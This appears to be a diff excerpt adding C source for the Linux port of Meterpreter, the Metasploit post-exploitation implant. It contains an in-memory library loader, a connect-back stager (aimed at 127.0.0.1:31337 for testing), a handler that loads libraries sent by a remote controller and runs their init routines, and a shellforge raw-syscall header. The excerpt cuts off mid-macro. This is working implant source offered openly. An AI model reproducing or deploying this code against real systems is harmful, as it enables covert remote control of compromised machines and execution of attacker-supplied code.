{0, 0, NULL, NULL, NULL, NULL},
|
||||||
|
};
|
||||||
|
|
||||||
|
static void *
|
||||||
|
zalloc(void *opaque, unsigned int count, unsigned int size)
|
||||||
|
{
|
||||||
|
|
||||||
|
return (malloc(count*size));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void
|
||||||
|
zfree(void *opaque, void *addr)
|
||||||
|
{
|
||||||
|
|
||||||
|
free(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *
|
||||||
|
dumb_malloc(int size)
|
||||||
|
{
|
||||||
|
|
||||||
|
return mmap (0, size, PROT_WRITE | PROT_READ,
|
||||||
|
MAP_PRIVATE | MAP_FLAGS, -1, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
typedef void (*func_ptr_type)();
|
||||||
|
Obj_Entry *entry_start;
|
||||||
|
func_ptr_type exit_func;
|
||||||
|
|
||||||
|
func_ptr_type
|
||||||
|
_rtld_late(unsigned char *base, unsigned char *buf, ssize_t size,
|
||||||
|
func_ptr_type *exit_proc, Obj_Entry **objp);
|
||||||
|
|
||||||
|
|
||||||
|
int
|
||||||
|
open_object(const char *name, unsigned char **buf, ssize_t *size,
|
||||||
|
void *obj)
|
||||||
|
{
|
||||||
|
linfo_t *lib;
|
||||||
|
|
||||||
|
for (lib = startlibs; lib->l_input_size != 0; lib++)
|
||||||
|
if (strstr(name, lib->l_name) != NULL) {
|
||||||
|
if (lib->l_obj->lo_ptr == NULL) {
|
||||||
|
*buf = lib->l_data_uncompressed;
|
||||||
|
*size = lib->l_output_size;
|
||||||
|
} else
|
||||||
|
*(uintptr_t *)obj = (uintptr_t)lib->l_obj->lo_ptr;
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
return (1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
set_object(const char *name, void *obj)
|
||||||
|
{
|
||||||
|
linfo_t *lib;
|
||||||
|
|
||||||
|
for (lib = startlibs; lib->l_input_size != 0; lib++)
|
||||||
|
if (strstr(name, lib->l_name) != NULL) {
|
||||||
|
lib->l_obj->lo_ptr = obj;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __i386__
|
||||||
|
void (*_late_start)(int, char **, ...);
|
||||||
|
#else
|
||||||
|
void (*_late_start)(char **ap, void (*cleanup)(void));
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void call_late_start(void *, int argc, ...);
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
void
|
||||||
|
call_late_start(int argc, char **argv, char **environ)
|
||||||
|
{
|
||||||
|
__asm__("movl %0, %%edx" : "=rm"(exit_func));
|
||||||
|
__asm__("jmp %0", : "=rm"(_late_start));
|
||||||
|
printf("calling late start with argv argc=%d argv=%p &argv[0]==%p\n",
|
||||||
|
argc, argv, &argv[0]);
|
||||||
|
_late_start(argc, argv[0], argv[1], NULL, environ, NULL);
|
||||||
|
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
void
|
||||||
|
metsrv_rtld(int fd, void *base)
|
||||||
|
{
|
||||||
|
z_stream stream;
|
||||||
|
int i, status, size;
|
||||||
|
linfo_t *lib;
|
||||||
|
char *self, *inflate_buffer;
|
||||||
|
char *newenviron[] = {"USER=me"};
|
||||||
|
char *ap[4];
|
||||||
|
char *argv[] = {"metserv_main", (char *)fd, NULL};
|
||||||
|
|
||||||
|
|
||||||
|
printf("fd=%d ap=%p \n", fd, ap);
|
||||||
|
ap[0] = (char *)2;
|
||||||
|
ap[1] = "metsrv_main";
|
||||||
|
ap[2] = (char *) fd;
|
||||||
|
ap[3] = (char *)newenviron;
|
||||||
|
|
||||||
|
memset(&stream, 0, sizeof(stream));
|
||||||
|
stream.zalloc = zalloc;
|
||||||
|
stream.zfree = zfree;
|
||||||
|
|
||||||
|
for (lib = startlibs; lib->l_input_size != 0; lib++) {
|
||||||
|
int input_size = lib->l_input_size;
|
||||||
|
unsigned char *input_buffer = lib->l_data;
|
||||||
|
|
||||||
|
if (check_header(&input_buffer, &input_size) != Z_OK) {
|
||||||
|
inflate_buffer = lib->l_data;
|
||||||
|
goto uncompressed;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* windowBits is passed < 0 to tell that there is no zlib header.
|
||||||
|
* Note that in this case inflate *requires* an extra "dummy" byte
|
||||||
|
* after the compressed stream in order to complete decompression and
|
||||||
|
* return Z_STREAM_END. Here the gzip CRC32 ensures that 4 bytes are
|
||||||
|
* present after the compressed stream.
|
||||||
|
*/
|
||||||
|
inflateInit2(&stream, -MAX_WBITS);
|
||||||
|
inflate_buffer = dumb_malloc(lib->l_output_size);
|
||||||
|
|
||||||
|
stream.avail_in = input_size;
|
||||||
|
stream.next_in = input_buffer;
|
||||||
|
stream.avail_out = lib->l_output_size;
|
||||||
|
stream.next_out = inflate_buffer;
|
||||||
|
status = inflate(&stream, Z_FINISH);
|
||||||
|
if (status != Z_STREAM_END) {
|
||||||
|
/* XXX error */
|
||||||
|
exit(1);
|
||||||
|
|
||||||
|
}
|
||||||
|
uncompressed:
|
||||||
|
lib->l_data_uncompressed = inflate_buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
self = startlibs[0].l_data_uncompressed;
|
||||||
|
size = startlibs[0].l_output_size;
|
||||||
|
|
||||||
|
_late_start = (void*) _rtld_late(base, self, size, &exit_func, &entry_start);
|
||||||
|
|
||||||
|
#ifdef __i386__
|
||||||
|
call_late_start(_late_start, 2, ap[1], ap[2], NULL, NULL);
|
||||||
|
#else
|
||||||
|
_late_start(&ap[0], exit_func);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,8 @@
|
||||||
|
#ifndef _METERPRETER_SOURCE_SERVER_LIBLOADER_H
|
||||||
|
#define _METERPRETER_SOURCE_SERVER_LIBLOADER_H
|
||||||
|
|
||||||
|
void *libloader_load_library_mem(char *buffer, char *bufferLength);
|
||||||
|
void *libloader_load_library_disk(char *name);
|
||||||
|
void *libloader_lookup_sym(char *name);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,48 @@
|
||||||
|
#include "metsrv.h"
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
int __isthreaded = 0;
|
||||||
|
|
||||||
|
void
|
||||||
|
_pthread_mutex_lock(void)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
_pthread_mutex_unlock(void)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void
|
||||||
|
_pthread_mutex_trylock(void)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
_init_tls(void)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
int
|
||||||
|
main(int argc, char **argv, char **environ)
|
||||||
|
{
|
||||||
|
int fd;
|
||||||
|
|
||||||
|
if (argc == 1)
|
||||||
|
fd = _dlsocket();
|
||||||
|
else {
|
||||||
|
printf("argc=%d argv=%p ", argc, argv);
|
||||||
|
printf(" name=%s ", argv[0]);
|
||||||
|
printf(" fd=%d\n",(int)argv[1]);
|
||||||
|
fd = (int)argv[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
return server_setup(fd);
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
/******************* STANDALONE SUPPORT FUNCTIONS ***************
|
||||||
|
|
||||||
|
These functions will be overridden by the meterpreter rtld
|
||||||
|
when linked in the metsrv context. They are here to allow us to test the
|
||||||
|
meterpreter functionality in a normal environment.
|
||||||
|
|
||||||
|
*****************************************************************/
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/errno.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include <netinet/in.h>
|
||||||
|
|
||||||
|
#include "dlfcn.h"
|
||||||
|
#ifdef __linux__
|
||||||
|
#include "sfsyscall.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define PORT 31337
|
||||||
|
#define ADDR "127.0.0.1"
|
||||||
|
|
||||||
|
void *
|
||||||
|
_dlopenbuf(const char *name, char *buffer, size_t length)
|
||||||
|
{
|
||||||
|
const char *file;
|
||||||
|
void *dl;
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
if ((dl = dlopenbuf(name, 0444, buffer, length)) != NULL)
|
||||||
|
return (dl);
|
||||||
|
#endif
|
||||||
|
if (buffer != NULL) {
|
||||||
|
file = name != NULL ? name : "/tmp/foo";
|
||||||
|
|
||||||
|
buffer_to_file(file, buffer, length);
|
||||||
|
} else
|
||||||
|
file = name;
|
||||||
|
|
||||||
|
return dlopen(file, 0444);
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
_dlsocket(void)
|
||||||
|
{
|
||||||
|
struct sockaddr_in s;
|
||||||
|
int cli;
|
||||||
|
in_addr_t addr;
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
if ((cli = dlsocket()) != -1)
|
||||||
|
return (cli);
|
||||||
|
#endif
|
||||||
|
if ((cli = socket(AF_INET, SOCK_STREAM, 0)) < 0)
|
||||||
|
fprintf(stderr, "socket: %d\n", errno);
|
||||||
|
|
||||||
|
addr = inet_addr(ADDR);
|
||||||
|
s.sin_family = AF_INET;
|
||||||
|
s.sin_port = htons(PORT);
|
||||||
|
s.sin_addr.s_addr = addr;
|
||||||
|
printf("connecting to %s:%d...\n", ADDR, PORT);
|
||||||
|
if (connect(cli, (struct sockaddr *)&s, sizeof(s)) != 0) {
|
||||||
|
perror("connect failed");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
return (cli);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*******************************************************************/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,80 @@
|
||||||
|
|
||||||
|
#define _BSD_SOURCE 1
|
||||||
|
#define __inet_addr inet_addr
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/errno.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
|
||||||
|
#define __BSD_VISIBLE 1
|
||||||
|
#include <dlfcn.h>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#define PORT 31337
|
||||||
|
#define ADDR "127.0.0.1"
|
||||||
|
|
||||||
|
extern void metsrv_rtld(int);
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
struct sockaddr_in s;
|
||||||
|
int (*init)(int, void *) = NULL;
|
||||||
|
void *handle;
|
||||||
|
int cli;
|
||||||
|
in_addr_t addr;
|
||||||
|
Dl_info dli;
|
||||||
|
|
||||||
|
|
||||||
|
bzero(&s, sizeof(s));
|
||||||
|
bzero(&dli, sizeof(dli));
|
||||||
|
if (argc == 1) {
|
||||||
|
printf("expect lib name");
|
||||||
|
return (1);
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
if ((cli = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
addr = inet_addr(ADDR);
|
||||||
|
|
||||||
|
s.sin_family = AF_INET;
|
||||||
|
s.sin_port = htons(PORT);
|
||||||
|
s.sin_addr.s_addr = addr;
|
||||||
|
printf("connecting to %s:%d...\n", ADDR, PORT);
|
||||||
|
if (connect(cli, (struct sockaddr *)&s, sizeof(struct sockaddr)) != 0) {
|
||||||
|
perror("connect failed");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/*
|
||||||
|
* LAZY
|
||||||
|
*/
|
||||||
|
handle = dlopen(argv[1], 0x1);
|
||||||
|
#else
|
||||||
|
handle = dlopen(argv[1], 0444);
|
||||||
|
#endif
|
||||||
|
if (handle == NULL) {
|
||||||
|
printf("failed to dlopen(%s)\n", argv[1]);
|
||||||
|
perror("giving up");
|
||||||
|
return (1);
|
||||||
|
}
|
||||||
|
|
||||||
|
init = dlsym(handle, "Init");
|
||||||
|
if (init != NULL) {
|
||||||
|
dladdr(init, &dli);
|
||||||
|
init(cli, dli.dli_fbase);
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,86 @@
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include "metsrv.h"
|
||||||
|
|
||||||
|
|
||||||
|
DWORD
|
||||||
|
request_core_loadlib(Remote *remote, Packet *packet)
|
||||||
|
{
|
||||||
|
Packet *response = packet_create_response(packet);
|
||||||
|
DWORD res = ERROR_SUCCESS;
|
||||||
|
HMODULE library;
|
||||||
|
PCHAR libraryPath;
|
||||||
|
DWORD flags = 0;
|
||||||
|
PCHAR targetPath;
|
||||||
|
int local_error = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
libraryPath = packet_get_tlv_value_string(packet,
|
||||||
|
TLV_TYPE_LIBRARY_PATH);
|
||||||
|
flags = packet_get_tlv_value_uint(packet,
|
||||||
|
TLV_TYPE_FLAGS);
|
||||||
|
|
||||||
|
// Invalid library path?
|
||||||
|
if (!libraryPath) {
|
||||||
|
res = ERROR_INVALID_PARAMETER;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the lib does not exist locally, but is being uploaded...
|
||||||
|
if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) {
|
||||||
|
Tlv dataTlv;
|
||||||
|
|
||||||
|
// Get the library's file contents
|
||||||
|
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
|
||||||
|
&dataTlv) != ERROR_SUCCESS) ||
|
||||||
|
(!(targetPath = packet_get_tlv_value_string(packet,
|
||||||
|
TLV_TYPE_TARGET_PATH)))) {
|
||||||
|
res = ERROR_INVALID_PARAMETER;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the library is not to be stored on disk,
|
||||||
|
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) {
|
||||||
|
library = _dlopenbuf(NULL, dataTlv.buffer, dataTlv.header.length );
|
||||||
|
res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
|
||||||
|
} else {
|
||||||
|
// Otherwise, save the library buffer to disk
|
||||||
|
res = buffer_to_file(targetPath, dataTlv.buffer,
|
||||||
|
dataTlv.header.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Override the library path
|
||||||
|
libraryPath = targetPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If a previous operation failed, break out.
|
||||||
|
if (res != ERROR_SUCCESS)
|
||||||
|
break;
|
||||||
|
|
||||||
|
// Load the library
|
||||||
|
if ((!library) && (library = dlopen(targetPath, 0444)) == NULL)
|
||||||
|
res = GetLastError();
|
||||||
|
|
||||||
|
else
|
||||||
|
res = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
// If this library is supposed to be an extension library, try to
|
||||||
|
// call its Init routine
|
||||||
|
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library)){
|
||||||
|
DWORD (*init)(Remote *remote);
|
||||||
|
|
||||||
|
init = dlsym(library, "InitServerExtension" );
|
||||||
|
// Call the init routine in the library
|
||||||
|
if( init )
|
||||||
|
res = init(remote);
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (response) {
|
||||||
|
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
||||||
|
packet_transmit(remote, response, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (res);
|
||||||
|
}
|
|
@ -0,0 +1,587 @@
|
||||||
|
/*
|
||||||
|
* sfsyscall.h -- shellforge syscall implementation
|
||||||
|
* see http://www.cartel-securite.net/pbiondi/shellforge.html
|
||||||
|
* for more informations
|
||||||
|
*
|
||||||
|
* Copyright (C) 2003 Philippe Biondi <biondi@cartel-securite.fr>
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU Lesser General Public License as published by
|
||||||
|
* the Free Software Foundation.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
* Lesser General Public License for more details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: sfsyscall.h,v 1.5 2003/08/25 14:30:33 pbi Exp $ */
|
||||||
|
|
||||||
|
#ifndef SFSYSCALL_H
|
||||||
|
#define SFSYSCALL_H
|
||||||
|
|
||||||
|
#define __NR_exit 1
|
||||||
|
#define __NR_fork 2
|
||||||
|
#define __NR_read 3
|
||||||
|
#define __NR_write 4
|
||||||
|
#define __NR_open 5
|
||||||
|
#define __NR_close 6
|
||||||
|
#define __NR_waitpid 7
|
||||||
|
#define __NR_creat 8
|
||||||
|
#define __NR_link 9
|
||||||
|
#define __NR_unlink 10
|
||||||
|
#define __NR_execve 11
|
||||||
|
#define __NR_chdir 12
|
||||||
|
#define __NR_time 13
|
||||||
|
#define __NR_mknod 14
|
||||||
|
#define __NR_chmod 15
|
||||||
|
#define __NR_lchown 16
|
||||||
|
#define __NR_break 17
|
||||||
|
#define __NR_oldstat 18
|
||||||
|
#define __NR_lseek 19
|
||||||
|
#define __NR_getpid 20
|
||||||
|
#define __NR_mount 21
|
||||||
|
#define __NR_umount 22
|
||||||
|
#define __NR_setuid 23
|
||||||
|
#define __NR_getuid 24
|
||||||
|
#define __NR_stime 25
|
||||||
|
#define __NR_ptrace 26
|
||||||
|
#define __NR_alarm 27
|
||||||
|
#define __NR_oldfstat 28
|
||||||
|
#define __NR_pause 29
|
||||||
|
#define __NR_utime 30
|
||||||
|
#define __NR_stty 31
|
||||||
|
#define __NR_gtty 32
|
||||||
|
#define __NR_access 33
|
||||||
|
#define __NR_nice 34
|
||||||
|
#define __NR_ftime 35
|
||||||
|
#define __NR_sync 36
|
||||||
|
#define __NR_kill 37
|
||||||
|
#define __NR_rename 38
|
||||||
|
#define __NR_mkdir 39
|
||||||
|
#define __NR_rmdir 40
|
||||||
|
#define __NR_dup 41
|
||||||
|
#define __NR_pipe 42
|
||||||
|
#define __NR_times 43
|
||||||
|
#define __NR_prof 44
|
||||||
|
#define __NR_brk 45
|
||||||
|
#define __NR_setgid 46
|
||||||
|
#define __NR_getgid 47
|
||||||
|
#define __NR_signal 48
|
||||||
|
#define __NR_geteuid 49
|
||||||
|
#define __NR_getegid 50
|
||||||
|
#define __NR_acct 51
|
||||||
|
#define __NR_umount2 52
|
||||||
|
#define __NR_lock 53
|
||||||
|
#define __NR_ioctl 54
|
||||||
|
#define __NR_fcntl 55
|
||||||
|
#define __NR_mpx 56
|
||||||
|
#define __NR_setpgid 57
|
||||||
|
#define __NR_ulimit 58
|
||||||
|
#define __NR_oldolduname 59
|
||||||
|
#define __NR_umask 60
|
||||||
|
#define __NR_chroot 61
|
||||||
|
#define __NR_ustat 62
|
||||||
|
#define __NR_dup2 63
|
||||||
|
#define __NR_getppid 64
|
||||||
|
#define __NR_getpgrp 65
|
||||||
|
#define __NR_setsid 66
|
||||||
|
#define __NR_sigaction 67
|
||||||
|
#define __NR_sgetmask 68
|
||||||
|
#define __NR_ssetmask 69
|
||||||
|
#define __NR_setreuid 70
|
||||||
|
#define __NR_setregid 71
|
||||||
|
#define __NR_sigsuspend 72
|
||||||
|
#define __NR_sigpending 73
|
||||||
|
#define __NR_sethostname 74
|
||||||
|
#define __NR_setrlimit 75
|
||||||
|
#define __NR_oldgetrlimit 76
|
||||||
|
#define __NR_getrusage 77
|
||||||
|
#define __NR_gettimeofday 78
|
||||||
|
#define __NR_settimeofday 79
|
||||||
|
#define __NR_getgroups 80
|
||||||
|
#define __NR_setgroups 81
|
||||||
|
#define __NR_select 82
|
||||||
|
#define __NR_symlink 83
|
||||||
|
#define __NR_oldlstat 84
|
||||||
|
#define __NR_readlink 85
|
||||||
|
#define __NR_uselib 86
|
||||||
|
#define __NR_swapon 87
|
||||||
|
#define __NR_reboot 88
|
||||||
|
#define __NR_readdir 89
|
||||||
|
#define __NR_oldmmap 90
|
||||||
|
#define __NR_munmap 91
|
||||||
|
#define __NR_truncate 92
|
||||||
|
#define __NR_ftruncate 93
|
||||||
|
#define __NR_fchmod 94
|
||||||
|
#define __NR_fchown 95
|
||||||
|
#define __NR_getpriority 96
|
||||||
|
#define __NR_setpriority 97
|
||||||
|
#define __NR_profil 98
|
||||||
|
#define __NR_statfs 99
|
||||||
|
#define __NR_fstatfs 100
|
||||||
|
#define __NR_ioperm 101
|
||||||
|
#define __NR_socketcall 102
|
||||||
|
#define __NR_syslog 103
|
||||||
|
#define __NR_setitimer 104
|
||||||
|
#define __NR_getitimer 105
|
||||||
|
#define __NR_stat 106
|
||||||
|
#define __NR_lstat 107
|
||||||
|
#define __NR_fstat 108
|
||||||
|
#define __NR_olduname 109
|
||||||
|
#define __NR_iopl 110
|
||||||
|
#define __NR_vhangup 111
|
||||||
|
#define __NR_idle 112
|
||||||
|
#define __NR_vm86old 113
|
||||||
|
#define __NR_wait4 114
|
||||||
|
#define __NR_swapoff 115
|
||||||
|
#define __NR_sysinfo 116
|
||||||
|
#define __NR_ipc 117
|
||||||
|
#define __NR_fsync 118
|
||||||
|
#define __NR_sigreturn 119
|
||||||
|
#define __NR_clone 120
|
||||||
|
#define __NR_setdomainname 121
|
||||||
|
#define __NR_uname 122
|
||||||
|
#define __NR_modify_ldt 123
|
||||||
|
#define __NR_adjtimex 124
|
||||||
|
#define __NR_mprotect 125
|
||||||
|
#define __NR_sigprocmask 126
|
||||||
|
#define __NR_create_module 127
|
||||||
|
#define __NR_init_module 128
|
||||||
|
#define __NR_delete_module 129
|
||||||
|
#define __NR_get_kernel_syms 130
|
||||||
|
#define __NR_quotactl 131
|
||||||
|
#define __NR_getpgid 132
|
||||||
|
#define __NR_fchdir 133
|
||||||
|
#define __NR_bdflush 134
|
||||||
|
#define __NR_sysfs 135
|
||||||
|
#define __NR_personality 136
|
||||||
|
#define __NR_afs_syscall 137 /* Syscall for Andrew File System */
|
||||||
|
#define __NR_setfsuid 138
|
||||||
|
#define __NR_setfsgid 139
|
||||||
|
#define __NR__llseek 140
|
||||||
|
#define __NR_getdents 141
|
||||||
|
#define __NR__newselect 142
|
||||||
|
#define __NR_flock 143
|
||||||
|
#define __NR_msync 144
|
||||||
|
#define __NR_readv 145
|
||||||
|
#define __NR_writev 146
|
||||||
|
#define __NR_getsid 147
|
||||||
|
#define __NR_fdatasync 148
|
||||||
|
#define __NR__sysctl 149
|
||||||
|
#define __NR_mlock 150
|
||||||
|
#define __NR_munlock 151
|
||||||
|
#define __NR_mlockall 152
|
||||||
|
#define __NR_munlockall 153
|
||||||
|
#define __NR_sched_setparam 154
|
||||||
|
#define __NR_sched_getparam 155
|
||||||
|
#define __NR_sched_setscheduler 156
|
||||||
|
#define __NR_sched_getscheduler 157
|
||||||
|
#define __NR_sched_yield 158
|
||||||
|
#define __NR_sched_get_priority_max 159
|
||||||
|
#define __NR_sched_get_priority_min 160
|
||||||
|
#define __NR_sched_rr_get_interval 161
|
||||||
|
#define __NR_nanosleep 162
|
||||||
|
#define __NR_mremap 163
|
||||||
|
#define __NR_setresuid 164
|
||||||
|
#define __NR_getresuid 165
|
||||||
|
#define __NR_vm86 166
|
||||||
|
#define __NR_query_module 167
|
||||||
|
#define __NR_poll 168
|
||||||
|
#define __NR_nfsservctl 169
|
||||||
|
#define __NR_setresgid 170
|
||||||
|
#define __NR_getresgid 171
|
||||||
|
#define __NR_prctl 172
|
||||||
|
#define __NR_rt_sigreturn 173
|
||||||
|
#define __NR_rt_sigaction 174
|
||||||
|
#define __NR_rt_sigprocmask 175
|
||||||
|
#define __NR_rt_sigpending 176
|
||||||
|
#define __NR_rt_sigtimedwait 177
|
||||||
|
#define __NR_rt_sigqueueinfo 178
|
||||||
|
#define __NR_rt_sigsuspend 179
|
||||||
|
#define __NR_pread 180
|
||||||
|
#define __NR_pwrite 181
|
||||||
|
#define __NR_chown 182
|
||||||
|
#define __NR_getcwd 183
|
||||||
|
#define __NR_capget 184
|
||||||
|
#define __NR_capset 185
|
||||||
|
#define __NR_sigaltstack 186
|
||||||
|
#define __NR_sendfile 187
|
||||||
|
#define __NR_getpmsg 188 /* some people actually want streams */
|
||||||
|
#define __NR_putpmsg 189 /* some people actually want streams */
|
||||||
|
#define __NR_vfork 190
|
||||||
|
#define __NR_getrlimit 191
|
||||||
|
#define __NR_mmap 192
|
||||||
|
|
||||||
|
/* Remove errno stuff */
|
||||||
|
#define __sfsyscall_return(type, res) \
|
||||||
|
do { \
|
||||||
|
return (type) (res); \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
|
||||||
|
#define _sfsyscall0(type,name) \
|
||||||
|
type _##name(void) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("int $0x80" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name)); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
#define _sfsyscall1(type,name,type1,arg1) \
|
||||||
|
type _##name(type1 arg1) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||||
|
"mov %2,%%ebx\n\t" \
|
||||||
|
"int $0x80\n\t" \
|
||||||
|
"popl %%ebx" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name),"g" ((long)(arg1))); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
#define _sfsyscall2(type,name,type1,arg1,type2,arg2) \
|
||||||
|
type _##name(type1 arg1,type2 arg2) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||||
|
"mov %2,%%ebx\n\t" \
|
||||||
|
"int $0x80\n\t" \
|
||||||
|
"popl %%ebx" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)) ); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
#define _sfsyscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
|
||||||
|
type _##name(type1 arg1,type2 arg2,type3 arg3) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||||
|
"mov %2,%%ebx\n\t" \
|
||||||
|
"int $0x80\n\t" \
|
||||||
|
"popl %%ebx" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||||
|
"d" ((long)(arg3)) ); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
#define _sfsyscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
|
||||||
|
type _##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||||
|
"mov %2,%%ebx\n\t" \
|
||||||
|
"int $0x80\n\t" \
|
||||||
|
"popl %%ebx" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||||
|
"d" ((long)(arg3)),"S" ((long)(arg4)) ); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
#define _sfsyscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
|
||||||
|
type5,arg5) \
|
||||||
|
type _##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||||
|
"mov %2,%%ebx\n\t" \
|
||||||
|
"int $0x80\n\t" \
|
||||||
|
"popl %%ebx" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||||
|
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
#define _sfsyscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
|
||||||
|
type5,arg5,type6,arg6) \
|
||||||
|
type _##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5, type6 arg6) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||||
|
"pushl %%ebp\n\t" \
|
||||||
|
"movl %2,%%ebx\n\t" \
|
||||||
|
"movl %7,%%ebp\n\t" \
|
||||||
|
"int $0x80\n\t" \
|
||||||
|
"popl %%ebp\n\t" \
|
||||||
|
"popl %%ebx" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||||
|
